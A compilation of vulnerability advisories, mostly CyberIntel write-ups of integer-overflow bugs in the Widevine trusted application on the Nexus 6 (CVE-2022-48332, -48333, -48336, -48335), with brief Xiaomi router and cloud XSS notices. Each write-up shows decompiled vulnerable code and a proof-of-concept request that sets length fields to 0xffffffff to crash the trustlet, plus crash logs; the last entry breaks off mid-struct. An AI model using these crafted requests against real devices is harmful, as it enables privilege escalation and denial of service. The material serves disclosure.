A vulnerability has been discovered in Xiaomi routers that could allow command injection through an external interface. This vulnerability arises from inadequate filtering of responses returned from the external interface. Attackers could exploit this vulnerability by hijacking the ISP or an upper-layer router to gain privileges on the Xiaomi router. Successful exploitation of this flaw could permit remote code execution and complete compromise of the device.

小米欢迎广大优秀的安全专家和安全研究团队加入小米漏洞响应计划（VDP），共同为全球亿万小米用户提供安全守护。您可通过在产品安全中心的安全漏洞响应页面了解小米的漏洞处理流程和漏洞提交方式。

小米对披露的相关安全漏洞信息，不承诺任何明示、默示和法定的担保，包括但不限于对适销性、适用性及不侵权的担保，您理解对您披露的安全漏洞信息仅作为您评估安全风险和做出安全决策的参考，您基于漏洞信息进行的任何行为的风险和后果由您自行承担。在任何情况下，小米对任何损失，包括直接，间接，偶然，必然的商业利润损失或特殊损失均不承担责任。

CVE-2023-26317: 产品安全中心

A XSS vulnerability exists in the Xiaomi cloud service Application product. The vulnerability is caused by Webview's whitelist checking function allowing javascript protocol to be loaded and can be exploited by attackers to steal Xiaomi cloud service account's cookies.

CVE-2023-26316: 产品安全中心

Widevine Trusted Application (TA) 5.0.0 through 5.1.1 has a drm_save_keys file_name_len integer overflow and resultant buffer overflow.

CVE-2022-48332:

Buffer Overflow in Widevine Trustlet (drm\_save\_keys @ 0x6a18)

 

CVE:

CVE-2022-48332

Vendor:

Google

Device:

Nexus 6

Affected Component:

Widevine

Publication Date:

March 2023

Credits:

CyberIntel Team

Last edited: 11/04/23

**1\. Description**

This entry describes a vulnerability that we found in the Widevine Trusted Application (TA), which runs within Qualcomm’s Secure Execution Environment (QSEE). The vulnerability is an integer overflow that leads to a subsequent buffer overflow. This bug has been found using tools we have developed to assist in the security evaluation of TrustZone, including a debugger and a coverage-based fuzzer for QSEE TAs. Please, refer to this page for further information.

Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series.

Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices.

An attacker could potentially exploit the vulnerability in the Trusted Application by sending a command from the Normal World, causing the application to crash and possibly execute arbitrary code. This vulnerability could have potential consequences, such as elevating attacker’s privileges and exposing sensitive information.

This post is part of a series of related bugs affecting Widevine Trusted Application of Google Nexus 6:

> *   CVE-2022-48331
>     
> *   CVE-2022-48332
>     
> *   CVE-2022-48333
>     
> *   CVE-2022-48334
>     
> *   CVE-2022-48335
>     
> *   CVE-2022-48336
>     
> *   CVE-2015-6639
>     
> *   CVE-2015-6647
>     

**2\. Affected Versions**

Affected versions are: 5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M) and 5.1.1 (LYZ28N).

**3\. Impact**

This vulnerability has the potential to compromise the security of the system in multiple ways.

An attacker with high priviledges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system.

On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.

**4\. Vulnerability**

The bug is present in Widevine’s drm_save_keys() command. This command closely resembles drm_verify_keys(), which has been featured in other blog entries (refer to CVE-2022-48333 and CVE-2022-48334).

The following snippet shows a switch-case present in the TA’s command handler:

switch(\*req\_buf) {
case 0x50001: // drm\_save\_keys() command
    if ((0x2a10 < req\_buf\_size) && (0x107 < resp\_buf\_size)) {
        ...
        drm\_save\_keys(
            req\_buf + 4,    req\_buf\[1\], // feature\_name
            req\_buf + 0x44, req\_buf\[2\], // file\_name
            req\_buf + 0x84, req\_buf\[3\], // msg
            resp\_buf + 4                // prt\_path (result)
        );
    }
    break;
}

It takes the Command ID from the first word of the Request Buffer, which is sent by client applications in the Normal World. Thus, if the received command is 0x50001, it jumps to the drm_save_keys() function.

The structure of the Request Buffer for this command is the following:

struct widevine\_drm\_save\_keys\_cmd {
    uint32\_t cmd\_id;
    uint32\_t feature\_name\_len;
    uint32\_t file\_name\_len;
    uint32\_t msg\_len;
    char feature\_name\[0x100\];
    char file\_name\[0x100\];
    char msg\_data\[0x100\];
};

It contains three buffers (_i.e._, feature_name, file_name and msg_data) and three integers indicating the effective length of each buffer. It is important to note that even though the maximum size of each buffer is 256 bytes, the client has control over the values of feature_name_len, file_name_len and msg_len, since they are directly taken from the Request Buffer.

The main functionality of drm_save_keys() is securely storing encryption keys or DRM-related data. It performs the following high-level tasks:

> *   Validate input parameters and check for any constraints that may prevent key storage.
>     
> *   Construct a file path using the provided feature name and file name.
>     
> *   Write the message data, which may contain encryption keys or DRM-related information, to a Secure File System (SFS).
>     
> *   Compute and store a CRC value for the written data to ensure data integrity and error detection.
>     

The bug is present in the validation of input parameters while constructing the SFS file path:

heap\_buf \= malloc(0x100);
...
memzero(heap\_buf, 0x80);
prefix\_len \= strncpy(heap\_buf, &persist\_prefix, 0x80);
total\_len \= prefix\_len + feature\_name\_len;
// ---- CVE-2022-48331 ---- //
if (total\_len < 0x100) {
    prefix\_len \= strlen(&persist\_prefix);
    memcpy(heap\_buf + prefix\_len, feature\_name, feature\_name\_len);
    // ----------------------- //
    \*(heap\_buf + total\_len) \= '/';
    if (total\_len + feature\_name\_len < 0xff) {
        memcpy(heap\_buf + total\_len + 1, feature\_name, feature\_name\_len);
        total\_len += (feature\_name\_len + 1);        \*(heap\_buf + total\_len) \= '/';
        // ---- CVE-2022-48332 ---- //
        if (total\_len + file\_name\_len < 0xff) {            memcpy(heap\_buf + total\_len + 1, file\_name, file\_name\_len);            ...
}

In this code snippet, a heap buffer is allocated and the persist_prefix string is copied into it using the strncpy() function. This string is initialized with the value "/persist/data/" by default, so that it’s length is 14. The buffer is then filled with the provided feature name, ensuring the total length does not exceed the specified limit. This is done using total_len by adding the length of the persist_prefix string and feature_name_len, which is directly specified by the client through the Request Buffer.

The first part corresponds to CVE-2022-48331, where the check if (total_len < 0x100) is performed using a signed integer and can cause a buffer overflow if feature_name_len takes any value from -14 (0xfffffff2) to -1 (0xffffffff).

To pass this first check without triggering the first bug, the value of feature_name_len must be within the inclusive range of 1 to 241. Then, the code appends the feature_name string two times to the temporary heap buffer. In the previous code snippet, there is a second check on feature_name_len that constraints its value to \[1, 120\]. Finally, there is a third if that checks the value of file_name_len. At this point, the result of the addition is treated as a signed integer, which leads to an incorrect check. Consequently, this third check is bypassed when the values for file_name_len are sufficiently large:

req.feature\_name\_len \= 120; // valid values are: \[1, 120\]
req.file\_name\_len \= \-(14 + (2 \* req.feature\_name\_len) + 1);

The code after the check calls the memcpy() function to copy the contents of the file_name string into the heap buffer, using the improperly checked file_name_len. Since this value can be large enough, it can cause a buffer overflow in this copy operation:

The user has full control over the **value** of file_name_len and the **contents** of the file_name buffer in the Request Buffer.

Since there are several specific and large file_name_len values that can cause the buffer to overflow, a memory copy operation with any of these values will exceed the bounds of the data segment, resulting in an invalid memory access and potentially causing the application to crash.

**5\. Exploitation**

This section shows a Proof of Concept (PoC) of how to trigger the vulnerability by sending a command to the Widevine trusted application running in the Secure World. Based on the command structure we have derived by reverse engineering, we can craft the command request to be sent to the trusted application:

req\->cmd\_id \= 0x50001;  // drm\_save\_keys;
req\->feature\_name\_len \= 1;
req\->file\_name\_len \= 0xffffffff;
req\->msg\_len \= 1;
...

The Commmand ID 0x50001 is specified to invoke drm_save_keys(), and file_name_len is set to 0xffffffff so that the sum of total_len + file_name_len overflows producing a small value, bypassing the check and eventually calling memcpy() producing the buffer overflow. When this request is sent to Widevine, it ends up crashing.

<5>widevine: "drm\_save\_keys: feature\_name 0xfff00010, feature\_name\_len 1, file\_name 0xfff00110,  file\_name\_len 4294967295, msg\_data 0xfff00210
\*\*\* crash \*\*\*

The Android log in normal world reports that qseecom_send_cmd has failed with error -22, which means APP\_FAULTED:

<4>QSEECOM: qseecom\_load\_app: App (widevine) does'nt exist, loading apps for first time
<4>QSEECOM: qseecom\_load\_app: App with id 3 (widevine) now loaded
<3>QSEECOM: \_\_qseecom\_send\_cmd: Response result -1 not supported
<3>QSEECOM: qseecom\_ioctl: failed qseecom\_send\_cmd: -22
<4>QSEECOM: qseecom\_unload\_app: App id 3 now unloaded

The reason it crashes is because the large memory copy ends up writing to unmapped memory due to exceeding the data segment.

CVE-2022-48332: Cyber Intelligence - Hardware and Software Security Assessments

Widevine Trusted Application (TA) 5.0.0 through 5.1.1 has a drm_verify_keys prefix_len+feature_name_len integer overflow and resultant buffer overflow.

CVE-2022-48333:

Buffer Overflow in Widevine Trustlet (drm\_verify\_keys @ 0x730c)

 

CVE:

CVE-2022-48333

Vendor:

Google

Device:

Nexus 6

Affected Component:

Widevine

Publication Date:

March 2023

Credits:

CyberIntel Team

Last edited: 11/04/23

**1\. Description**

This entry describes a vulnerability that we found in the Widevine Trusted Application (TA), which runs within Qualcomm’s Secure Execution Environment (QSEE). The vulnerability is an integer overflow that leads to a subsequent buffer overflow. This bug has been found using tools we have developed to assist in the security evaluation of TrustZone, including a debugger and a coverage-based fuzzer for QSEE TAs. Please, refer to this page for further information.

Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series.

Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices.

An attacker could potentially exploit the vulnerability in the Trusted Application by sending a command from the Normal World, causing the application to crash and possibly execute arbitrary code. This vulnerability could have potential consequences, such as elevating attacker’s privileges and exposing sensitive information.

This post is part of a series of related bugs affecting Widevine Trusted Application of Google Nexus 6:

> *   CVE-2022-48331
>     
> *   CVE-2022-48332
>     
> *   CVE-2022-48333
>     
> *   CVE-2022-48334
>     
> *   CVE-2022-48335
>     
> *   CVE-2022-48336
>     
> *   CVE-2015-6639
>     
> *   CVE-2015-6647
>     

**2\. Affected Versions**

Affected versions are: 5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M) and 5.1.1 (LYZ28N).

**3\. Impact**

This vulnerability has the potential to compromise the security of the system in multiple ways.

An attacker with high priviledges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system.

On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.

**4\. Vulnerability**

The bug is present in Widevine’s drm_verify_keys() command. This command closely resembles drm_save_keys(), which has been featured in other blog entries (refer to CVE-2022-48331 and CVE-2022-48332).

The following snippet shows a switch-case present in the TA’s command handler:

switch(\*req\_buf) {
case 0x50002: // drm\_verify\_keys() command
    if ((0x2a0f < req\_buf\_size) && (0x107 < resp\_buf\_size)) {
        drm\_verify\_keys(
            req\_buf + 4,    req\_buf\[1\], // feature\_name
            req\_buf + 0x44, req\_buf\[2\]  // file\_name
        );
        ...
    }
    break;
}

It takes the Command ID from the first word of the Request Buffer, which is sent by client applications in the Normal World. Thus, if the received command is 0x50002, it jumps to the drm_verify_keys() function.

The structure of the Request Buffer for this command is the following:

struct widevine\_drm\_save\_keys\_cmd {
    uint32\_t cmd\_id;
    uint32\_t feature\_name\_len;
    uint32\_t file\_name\_len;
    char feature\_name\[0x100\];
    char file\_name\[0x100\];
};

It contains two buffers (_i.e._, feature_name and file_name) and two integers indicating the effective length of each buffer. It is important to note that even though the maximum size of each buffer is 256 bytes, the client has control over the values of feature_name_len and file_name_len, since they are directly taken from the Request Buffer.

The main functionality of drm_verify_keys() is to verify the integrity of encryption keys or DRM-related data stored within the Widevine DRM system. It performs the following high-level tasks:

> *   Validate input parameters and check for any constraints that may prevent the verification process.
>     
> *   Construct a full file path using the provided feature name and file name.
>     
> *   Set the CRC (cyclic redundancy check) file path, which is used for verifying the integrity of the keys.
>     
> *   Verify the stored encryption keys or DRM-related data and check for any tampering or corruption.
>     

The bug is present in the validation of input parameters while constructing the SFS file path:

heap\_buf \= malloc(0x100);
...
memzero(heap\_buf, 0x80);
prefix\_len \= strncpy(heap\_buf, &persist\_prefix, 0x80);
total\_len \= prefix\_len + feature\_name\_len; // Signed int
if (total\_len < 0x100) {
    prefix\_len \= strlen(&persist\_prefix);
    memcpy(heap\_buf + prefix\_len, feature\_name, feature\_name\_len);    ...
}

In this code snippet, a heap buffer is allocated and the persist_prefix string is copied into it using the strncpy() function. This string is initialized with the value "/persist/data/" by default, so that it’s length is 14. The buffer is then filled with the provided feature name, ensuring the total length does not exceed the specified limit. This is done using total_len by adding the length of the persist_prefix string and feature_name_len, which is directly specified by the client through the Request Buffer.

The bug is present in this calculation. Since total_len is a signed integer, this calculation causes an integer overflow if the sum of prefix_len and feature_name_len is large enough, resulting in a negative value for total_len. As a result, the subsequent if statement passes even if the actual total length of the string is greater than the allocated buffer size.

Since the check is if (total_len < 0x100), for the condition 14 + feature_name_len < 0x100 to be triggered, the value of feature_name_len must be within the inclusive range of -14 to 241.

The code after the check calculates again the prefix_len and calls the memcpy() function to copy the contents of the feature_name string into the buffer, immediately following the persist_prefix, using feature_name_len. Since this value can be large enough, it can cause a buffer overflow in this copy operation:

The range of values for feature_name_len that can cause a buffer overflow extends from -14 (0xfffffff2) to -1 (0xffffffff).

The user has full control over the **value** of feature_name_len and the **contents** of the feature_name buffer in the Request Buffer.

Since there are 14 specific and large feature_name_len values that can cause the buffer to overflow, a memory copy operation with any of these values will exceed the bounds of the data segment, resulting in an invalid memory access and potentially causing the application to crash.

**5\. Exploitation**

This section shows a Proof of Concept (PoC) of how to trigger the vulnerability by sending a command to the Widevine trusted application running in the Secure World. Based on the command structure we have derived by reverse engineering, we can craft the command request to be sent to the trusted application:

req\->cmd\_id \= 0x50002;  // drm\_verify\_keys
req\->feature\_name\_len \= 0xffffffff;
req\->file\_name\_len \= 1;
...

The Commmand ID 0x50002 is specified to invoke drm_verify_keys(), and feature_name_len is set to 0xffffffff so that the sum of prefix_len + feature_name_len overflows producing a small value, bypassing the check and eventually calling memcpy() producing the buffer overflow. When this request is sent to Widevine, it ends up crashing.

<5>widevine: "drm\_verify\_keys: feature\_name 0xfff00010, feature\_name\_len 4294967295, file\_name 0xfff00110,  file\_name\_len 1"
\*\*\* crash \*\*\*

The Android log in normal world reports that qseecom_send_cmd has failed with error -22, which means APP\_FAULTED:

<4>QSEECOM: qseecom\_load\_app: App (widevine) does'nt exist, loading apps for first time
<4>QSEECOM: qseecom\_load\_app: App with id 3 (widevine) now loaded
<3>QSEECOM: \_\_qseecom\_send\_cmd: Response result -1 not supported
<3>QSEECOM: qseecom\_ioctl: failed qseecom\_send\_cmd: -22
<4>QSEECOM: qseecom\_unload\_app: App id 3 now unloaded

The reason it crashes is because the large memory copy ends up writing to unmapped memory due to exceeding the data segment.

CVE-2022-48333: Cyber Intelligence - Hardware and Software Security Assessments

Widevine Trusted Application (TA) 5.0.0 through 7.1.1 has a PRDiagParseAndStoreData integer overflow and resultant buffer overflow.

CVE-2022-48336:

Buffer Overflow in Widevine Trustlet (PRDiagParseAndStoreData @ 0x5cc8)

 

CVE:

CVE-2022-48336

Vendor:

Google

Device:

Nexus 6

Affected Component:

Widevine

Publication Date:

March 2023

Credits:

CyberIntel Team

Last edited: 11/04/23

**1\. Description**

This entry describes a vulnerability that we found in the Widevine Trusted Application (TA), which runs within Qualcomm’s Secure Execution Environment (QSEE). The vulnerability is an integer overflow that leads to a subsequent buffer overflow. This bug has been found using tools we have developed to assist in the security evaluation of TrustZone, including a debugger and a coverage-based fuzzer for QSEE TAs. Please, refer to this page for further information.

Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series.

Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices.

An attacker could potentially exploit the vulnerability in the Trusted Application by sending a command from the Normal World, causing the application to crash and possibly execute arbitrary code. This vulnerability could have potential consequences, such as elevating attacker’s privileges and exposing sensitive information.

This post is part of a series of related bugs affecting Widevine Trusted Application of Google Nexus 6:

> *   CVE-2022-48331
>     
> *   CVE-2022-48332
>     
> *   CVE-2022-48333
>     
> *   CVE-2022-48334
>     
> *   CVE-2022-48335
>     
> *   CVE-2022-48336
>     
> *   CVE-2015-6639
>     
> *   CVE-2015-6647
>     

**2\. Affected Versions**

Affected versions are: 5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M), 5.1.1 (LYZ28N), 6.0.0 (MRA58K), 6.0.0 (MRA58N), 6.0.0 (MRA58R), 6.0.0 (MRA58X), 7.0.0 (NBD90Z), 7.0.0 (NBD91P), 7.0.0 (NBD91U), 7.0.0 (NBD91X), 7.0.0 (NBD91Y), 7.0.0 (NBD91Z), 7.0.0 (NBD92F), 7.0.0 (NBD92G), 7.1.1 (N6F26Q), 7.1.1 (N6F26R), 7.1.1 (N6F26U), 7.1.1 (N6F27C), 7.1.1 (N6F27E).

**3\. Impact**

This vulnerability has the potential to compromise the security of the system in multiple ways.

An attacker with high priviledges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system.

On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.

**4\. Vulnerability**

The bug is present in Widevine’s PRDiagProvisionDataHandler() command.

The following snippet shows a switch-case present in the TA’s command handler:

switch(\*req\_buf) {
case 0x50004: // PRDiagProvisionDataHandler
    if ((0x2807 < req\_buf\_size) && (0x107 < resp\_buf\_size)) {
        ret \= PRDiagProvisionDataHandler(req\_buf + 2, req\_buf\[1\]);
        ...
    }
    break;
}

It takes the Command ID from the first word of the Request Buffer, which is sent by client applications in the Normal World. Thus, if the received command is 0x50004, it jumps to the PRDiagProvisionDataHandler() function.

The structure of the Request Buffer for the PRDiagProvisionDataHandler() function is similar to the one used in PRDiagMaintenanceHandler (refer to CVE-2022-48335):

struct widevine\_PRDiagProvisionDataHandler\_cmd {
        uint32\_t cmd\_id;
        uint32\_t payload\_size;
        struct widevine\_PRDiagProvisionDataHandler\_payload payload;
};

It contains an embedded structure and an integer indicating its size. The embedded structure is defined in the following code-block:

// Internal payload/request buffer for PRDiagProvisionDataHandler command
struct PRDiagProvisionDataHandler\_payload {
        enum {
                op\_PRDiagParseAndStoreData      \= 0,
                PRDiagPDH\_FORCE\_ENUM\_32\_BITS \= (INT\_MAX | ~INT\_MAX),
        } op;
        uint32\_t compare\_flag;
        uint32\_t msg\_buf\_size;
        uint32\_t data\_len;
        // NOTE: The widevine trustlet checks the size of the request buffer
        // containing the widevine\_PRDiagMaintenanceHandler\_cmd structure.
        // The entire request buffer must have at least 0x2808 bytes
        char msg\_buf\[\];
};

The PRDiagProvisionDataHandler function firstly determines if keys can be provisioned and then simply copies the payload/request into a temporary heap buffer and passes it to the PRDiagParseAndStoreData() function:

int PRDiagProvisionDataHandler(void \*payload, uint32\_t payload\_size) {
     struct widevine\_PRDiagProvisionDataHandler\_payload \*req;

     ...
     // Check if keys can be provisioned
     ...

     if (!payload || !payload\_size) return 0x10;

     req \= malloc(payload\_size);
     if (!req) return 0xf;

     memcpy(req, payload, payload\_size);
     if (req\->op \== 0) {
         PRDiagParseAndStoreData(req);
     }
     ...

The bug is inside the PRDiagParseAndStoreData function. The main functionality of this function is to store provisioning data into the Secure File System (SFS). The following code snippet shows a simplified version of the PRDiagParseAndStoreData function:

int PRDiagParseAndStoreData(struct PRDiagProvisionDataHandler\_payload \*req) {
    // Check input and operation
    if (!req || req\->op != 0) return 0x10;

    msg\_buf\_size \= req\->msg\_buf\_size;
    msg\_buf \= &req\->msg\_buf;

    if (!req\->data\_len) {
        // CVE-2015-6639
        ...
    }
    else {
        // data\_len is not zero
        // filePathBuffer @ 0x2e0fc
        // fullFilePathBuffer @ 0x2e5fc
        memzero(&fullFilePathBuffer, 0x80);
        pcVar2 \= strncpy(&fullFilePathBuffer, &persist\_prefix, 0x80);
        sVar3 \= strlen(&filePathBuffer);
        sVar4 \= strlen(&persist\_prefix);
        memcpy(&fullFilePathBuffer + sVar4, &filePathBuffer, sVar3);
        sVar3 \= strlen(&filePathBuffer);
        pcVar2\[&fullFilePathBuffer + sVar3\] \= '/';
        sVar4 \= strlen(&filePathBuffer);
        memcpy(&filePathBuffer + 1 + pcVar2 + sVar3, &filePathBuffer, sVar4);
        iVar5 \= PRDiagPruneTrailingSlashes(&fullFilePathBuffer);
        if (msg\_buf\_size + iVar5 < 0x80) {            if (iVar5 \>= 1) {
                (&fullFilePathBuffer)\[iVar5\] \= '/';
                memcpy(&fullFilePathBuffer + 1 + iVar5, msg\_buf, msg\_buf\_size);                ...

The function first performs some validations on the input and the operation being requested and then checks the data_len value. If this value is not zero, it constructs a file path by concatenating two strings: persist_prefix and filePathBuffer, which are global buffers stored in the data segment. The resulting SFS file path is stored in the fullFilePathBuffer variable, which is used later in the function to write the provisioning data.

The persist_prefix string is initialized with the value "/persist/data/" by default, and the filePathBuffer is initially empty, so that the total length of the final string afer calling PRDiagPruneTrailingSlashes() is 13. After that, the contents of the user-controlled msg_buf are appended to fullFilePathBuffer after checking if the length does not exeed 128 bytes.

The bug is present in this check. Since the addition is done using a signed integer, this calculation causes an integer overflow if the sum of msg_buf_size and the string length of fullFilePathBuffer is large enough, resulting in a negative value and bypassing the if statement. Consequently, the subsequent memory copy can cause a buffer overflow:

The range of values for msg_buf_size that can cause a buffer overflow extends from -13 (0xfffffff3) to -1 (0xffffffff).

The user has full control over the **value** of msg_buf_size and the **contents** of the msg_buf buffer in the Request Buffer.

Since there are 13 specific and large msg_buf_size values that can cause the buffer to overflow, a memory copy operation with any of these values will exceed the bounds of the data segment, resulting in an invalid memory access and potentially causing the application to crash.

**5\. Exploitation**

This section shows a Proof of Concept (PoC) of how to trigger the vulnerability by sending a command to the Widevine trusted application running in the Secure World. Based on the command structure we have derived by reverse engineering, we can craft the command request to be sent to the trusted application:

req\->cmd\_id \= 0x50004;  // PRDiagProvisionDataHandler
req\->payload.op \= 0;    // PRDiagParseAndStoreData
...
req\->payload.msg\_buf\_size \= 0xffffffff;
req\->payload.data\_len \= 1;

The Commmand ID 0x50004 is specified to invoke PRDiagProvisionDataHandler(), and the PRDiagParseAndStoreData operation is being specified. In addition, msg_buf_size is set to 0xffffffff so that the sum of msg_buf_size + iVar5 overflows producing a small value, bypassing the check and eventually calling memcpy() producing the buffer overflow. When this request is sent to Widevine, it ends up crashing.

<5>widevine: "PRDiagProvisionDataHandler: pTzMsg 0xfff00008, reqlen 10240"
<5>widevine: "PRDiagParseAndStoreData: begins!"
<5>widevine: "PRDiagPruneTrailingSlashes:  pPath 0x2e5fc"
<5>widevine: "PRDiagPruneTrailingSlashes: ends!"
\*\*\* crash \*\*\*

The Android log in normal world reports that qseecom_send_cmd has failed with error -22, which means APP\_FAULTED:

<4>QSEECOM: qseecom\_load\_app: App (widevine) does'nt exist, loading apps for first time
<4>QSEECOM: qseecom\_load\_app: App with id 3 (widevine) now loaded
<3>QSEECOM: \_\_qseecom\_send\_cmd: Response result -1 not supported
<3>QSEECOM: qseecom\_ioctl: failed qseecom\_send\_cmd: -22
<4>QSEECOM: qseecom\_unload\_app: App id 3 now unloaded

The reason it crashes is because the large memory copy ends up writing to unmapped memory due to exceeding the data segment.

CVE-2022-48336: Cyber Intelligence - Hardware and Software Security Assessments

Widevine Trusted Application (TA) 5.0.0 through 7.1.1 has a PRDiagVerifyProvisioning integer overflow and resultant buffer overflow.

CVE-2022-48335:

Buffer Overflow in Widevine Trustlet (PRDiagVerifyProvisioning @ 0x5f90)

 

CVE:

CVE-2022-48335

Vendor:

Google

Device:

Nexus 6

Affected Component:

Widevine

Publication Date:

March 2023

Credits:

CyberIntel Team

Last edited: 11/04/23

**1\. Description**

Warning

To the best of our knowledge, the vulnerability described in this post has been incorrectly associated with CVE-2015-6639. After consulting with MITRE, it has been confirmed that this vulnerability had no assigned identifier. Consequently, CVE-2022-48335 has been assigned to this vulnerability.

On the other hand, it has been confirmed that CVE-2015-6639 does exist and corresponds with a different vulnerability reported by Google. We have notified all the concerned parties about this misunderstanding so that the confusion can be amended.

This entry describes a vulnerability that we found in the Widevine Trusted Application (TA), which runs within Qualcomm’s Secure Execution Environment (QSEE). The vulnerability is an integer overflow that leads to a subsequent buffer overflow. This bug has been found using tools we have developed to assist in the security evaluation of TrustZone, including a debugger and a coverage-based fuzzer for QSEE TAs. Please, refer to this page for further information.

Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series.

Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices.

An attacker could potentially exploit the vulnerability in the Trusted Application by sending a command from the Normal World, causing the application to crash and possibly execute arbitrary code. This vulnerability could have potential consequences, such as elevating attacker’s privileges and exposing sensitive information.

This post is part of a series of related bugs affecting Widevine Trusted Application of Google Nexus 6:

> *   CVE-2022-48331
>     
> *   CVE-2022-48332
>     
> *   CVE-2022-48333
>     
> *   CVE-2022-48334
>     
> *   CVE-2022-48335
>     
> *   CVE-2022-48336
>     
> *   CVE-2015-6639
>     
> *   CVE-2015-6647
>     

**2\. Affected Versions**

Affected versions are: 5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M), 5.1.1 (LYZ28N), 6.0.0 (MRA58K), 6.0.0 (MRA58N), 6.0.0 (MRA58R), 6.0.0 (MRA58X), 7.0.0 (NBD90Z), 7.0.0 (NBD91P), 7.0.0 (NBD91U), 7.0.0 (NBD91X), 7.0.0 (NBD91Y), 7.0.0 (NBD91Z), 7.0.0 (NBD92F), 7.0.0 (NBD92G), 7.1.1 (N6F26Q), 7.1.1 (N6F26R), 7.1.1 (N6F26U), 7.1.1 (N6F27C), 7.1.1 (N6F27E).

**3\. Impact**

This vulnerability has the potential to compromise the security of the system in multiple ways.

An attacker with high priviledges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system.

On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.

**4\. Vulnerability**

The bug is present in Widevine’s PRDiagVerifyProvisioning() command. This command closely resembles PRDiagClearProvisioning(), which has been featured in other blog entries (refer to CVE-2015-6647).

The following snippet shows a switch-case present in the TA’s command handler:

switch(\*req\_buf) {
case 0x50003: // PRDiagMaintenanceHandler
    if ((0x2807 < req\_buf\_size) && (7 < resp\_buf\_size)) {
        ret \= PRDiagMaintenanceHandler(req\_buf + 2, req\_buf\[1\]);
        ...
    }
    break;
}

It takes the Command ID from the first word of the Request Buffer, which is sent by client applications in the Normal World. Thus, if the received command is 0x50003, it jumps to the PRDiagMaintenanceHandler() function. This function handles two sub-commands: PRDiagVerifyProvisioning and PRDiagClearProvisioning.

The structure of the Request Buffer for the PRDiagMaintenanceHandler() function is the following:

struct widevine\_PRDiagMaintenanceHandler\_cmd {
        uint32\_t cmd\_id;
        uint32\_t payload\_size;
        struct widevine\_PRDiagMaintenanceHandler\_payload payload;
};

It contains an embedded structure and an integer indicating its size. The embedded structure is defined in the following code-block:

// Internal payload/request buffer for PRDiagMaintenanceHandler command
struct widevine\_PRDiagMaintenanceHandler\_payload {
        enum {
